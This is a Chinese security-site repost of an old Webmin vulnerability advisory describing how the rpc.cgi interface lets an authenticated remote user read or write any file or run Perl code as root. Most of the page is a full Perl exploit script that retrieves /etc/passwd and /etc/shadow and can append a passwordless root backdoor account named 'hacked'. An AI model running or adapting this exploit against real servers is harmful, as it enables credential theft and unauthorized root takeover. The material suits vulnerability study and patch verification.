为了顺应当前形势和更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

Webmin远程任意命令执行和文件查看漏洞

2004-12-23 08:50| 投稿: security

摘要:   转自:cnbird's blog _text>Webmin是基于WEB接口的Linux/Unix系统管理工具,使用任何支持表单的浏览器可以设置用户帐户、APACHE、DNS、文...
  转自:cnbird's blog _text>Webmin是基于WEB接口的Linux/Unix系统管理工具,使用任何支持表单的浏览器可以设置用户帐户、APACHE、DNS、文件共享等。Webmin CGI程序RPC调用缺少正确的权限判断,远程攻击者可以利用这个漏洞以root用户权限执行任意命令或者查看任意文件内容。Webmin的CGI在处理来自其他Webmin服务程序remote_foreign_require和remote_foreign_call RPC请求时缺少充分的权限检查,会以root权限执行那些调用,如果攻击者拥有另一个机器上Webmin服务程序的普通用户帐户,利用这个漏洞就可能以root用户权限执行任意代码或者查看系统任意文件。对于是否能访问这个CGI通过/usr/libexec/webmin/defaultacl文件中的'rpc'值进行判断,这个值如果为‘2’,则只允许管理或者root用户访问,如果这个值为'1',则允许任意人访问这个CGI。访问这个CGI可以获得如下功能:1) 'quit' - 终止当前RPC session. 2) 'require' - 使当前RPC会话装载一个库/模块文件. 3) 'call' - 执行Perl或者Webmin功能. 4) 'eval' - 评估Perl代码(执行). 5) 'ping' - 应答"OK"的回复. 6) 'check' - 检查某个库/模块是否支持. 7) 'config' - 显示当前RPC配置. 8) 'write' - 按照提供数据写入文件. 9) 'read' - 读取文件返回数据. 利用'read'和'write'功能,由于webmin在运行这两个功能的时候没有丢弃权限,所以拥有帐户的远程攻击者可以利用这两个函数查看系统文件,包括/etc/passwd和/etc/shadow,而利用'eval'功能,则可能以root用户权限在系统上执行任意命令。<*来源:Aviram Jenik (aviram@beyondsecurity.com)    链接:_blank>http://marc.theaimsgroup.com/?l=bugtraq&m=103055942607213&w=2*>测试方法:Aviram Jenik(aviram@beyondsecurity.com) 提供了如下测试程序:#!/usr/bin/perl# urlize# Convert a string to a form ok for putting in a URLsub urlize {  local $rv = $_[0];  $rv =~ s/([^A-Za-z0-9])/sprintf("%%%2.2X", ord($1))/ge;  return $rv;}# un_urlize(string)# Converts a URL-encoded string to the originalsub un_urlize{local $rv = $_[0];$rv =~ s/\+/ /g;$rv =~ s/%(..)/pack("c",hex($1))/ge;return $rv;}# serialise_variable(variable)# Converts some variable (maybe a scalar, hash ref, array ref or scalar ref)# into a url-encoded stringsub serialise_variable{if (!defined($_[0])) {        return 'UNDEF';        }local $r = ref($_[0]);local $rv;if (!$r) {        $rv = &urlize($_[0]);        }elsif ($r eq 'SCALAR') {        $rv = &urlize(${$_[0]});        }elsif ($r eq 'ARRAY') {        $rv = join(",", map { &urlize(&serialise_variable($_)) } @{$_[0]});        }elsif ($r eq 'HASH') {        $rv = join(",", map { &urlize(&serialise_variable($_)).",".                              &urlize(&serialise_variable($_[0]->{$_}))}                            keys %{$_[0]});        }elsif ($r eq 'REF') {        $rv = &serialise_variable(${$_[0]});        }return ($r ? $r : 'VAL').",".$rv;}# unserialise_variable(string)# Converts a string created by serialise_variable() back into theoriginal# scalar, hash ref, array ref or scalar ref.sub unserialise_variable{local @v = split(/,/, $_[0]);local ($rv, $i);if ($v[0] eq 'VAL') {        $rv = &un_urlize($v[1]);        }elsif ($v[0] eq 'SCALAR') {        local $r = &un_urlize($v[1]);        $rv = \$r;        }elsif ($v[0] eq 'ARRAY') {        $rv = [ ];        for($i=1; $i<@v; $i++) {                push(@$rv, &unserialise_variable(&un_urlize($v[$i])));                }        }elsif ($v[0] eq 'HASH') {        $rv = { };        for($i=1; $i<@v; $i+=2) {                $rv->{&unserialise_variable(&un_urlize($v[$i]))} =                        &unserialise_variable(&un_urlize($v[$i+1]));                }        }elsif ($v[0] eq 'REF') {        local $r = &unserialise_variable($v[1]);        $rv = \$r;        }elsif ($v[0] eq 'UNDEF') {        $rv = undef;        }return $rv;}# encode_base64(string)# Encodes a string into base64 formatsub encode_base64{    local $res;    pos($_[0]) = 0; # ensure start at the beginning    while ($_[0] =~ /(.{1,45})/gs) {        $res .= substr(pack('u', $1), 1)."\n";        chop($res);    }    $res =~ tr|\` -_|AA-Za-z0-9+/|;    local $padding = (3 - length($_[0]) % 3) % 3;    $res =~ s/.{$padding}$/'=' x $padding/e if ($padding);    return $res;}use Socket;if ($#ARGV<6) {die "Usage: exploit.pl proxyIP proxyPort remoteIP remotePort username password command_interfacecommand interface should equal one of these:1 - read file /etc/passwd2 - read file /etc/shadow3 - insert into file /etc/passwd (\"hacked:x:0:0:root:/root:/bin/bash\")4 - insert into file /etc/shadow (\"hacked::0:99999:7:-1:-1:134538548\")";}$username = $ARGV[4];$password = $ARGV[5];$proxyPort = $ARGV[1];$proxyIP = $ARGV[0];$remoteIP = $ARGV[2];$remotePort = $ARGV[3];$command_interface = $ARGV[6];$target = inet_aton($proxyIP);$paddr = sockaddr_in($proxyPort, $target);print "Connecting to: $proxyIP:$proxyPort, with the following user: $username and password: $password. Hacking server: $remoteIP:$remotePort\n";$auth = &encode_base64("$username:$password");$auth =~ s/\n//g;if (($command_interface eq 1) || ($command_interface eq 3)){$d = { 'action' => 'read', 'file' => "/etc/passwd", 'session' => "0"};}if (($command_interface eq 2) || ($command_interface eq 4)){$d = { 'action' => 'read', 'file' => "/etc/shadow", 'session' => "0"};}$tostr = &serialise_variable($d);$lengthstr = length($tostr);$request = "POST /rpc.cgi HTTP/1.1Host: $remoteIP:$remotePortUser-agent: WebminAuthorization: basic $authContent-Length: $lengthstr$tostr";print "Sending:\n---\n$request\n---\n";$proto = getprotobyname('tcp');socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");connect(S, $paddr) || die "connect: $!";select(S); $|=1; # print $pstr;print $request;$found = 0;while(<S>){if (($found == 1) || (/^\r\n/)){  if ($found == 0)  {   $found = 1;  }  else  {   $in = join ("", $in, $_);  }}}select(STDOUT);print "Raw:\n---\n$in\n---\n";print "Unserialized:\n---\n", unserialise_variable($in)->{'rv'}, "\n---\n";close(S);if ($command_interface eq 3){$d = { 'action' => 'write', 'data'=>join("", unserialise_variable($in)->{'rv'},"hacked:x:0:0:root:/root:/bin/bash\n"), 'file' => "/etc/passwd", 'session' => "0"};}if ($command_interface eq 4){$d = { 'action' => 'write', 'data'=>join("", unserialise_variable($in)->{'rv'},"hacked::0:99999:7:-1:-1:134538548\n"), 'file' => "/etc/shadow", 'session' => "0"};}$tostr = &serialise_variable($d);$lengthstr = length($tostr);$request = "POST /rpc.cgi HTTP/1.1Host: $remoteIP:$remotePortUser-agent: WebminAuthorization: basic $authContent-Length: $lengthstr$tostr";print "Sending:\n---\n$request\n---\n";$proto = getprotobyname('tcp');socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");connect(S, $paddr) || die "connect: $!";select(S); $|=1; # print $pstr;print $request;$found = 0;while(<S>){if (($found == 1) || (/^\r\n/)){  if ($found == 0)  {   $found = 1;  }  else  {   $in = join ("", $in, $_);  }}}select(STDOUT);print "Raw:\n---\n$in\n---\n";print "Unserialized:\n---\n", unserialise_variable($in)->{'rv'}, "\n---\n";close(S);# --- EOF ---

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部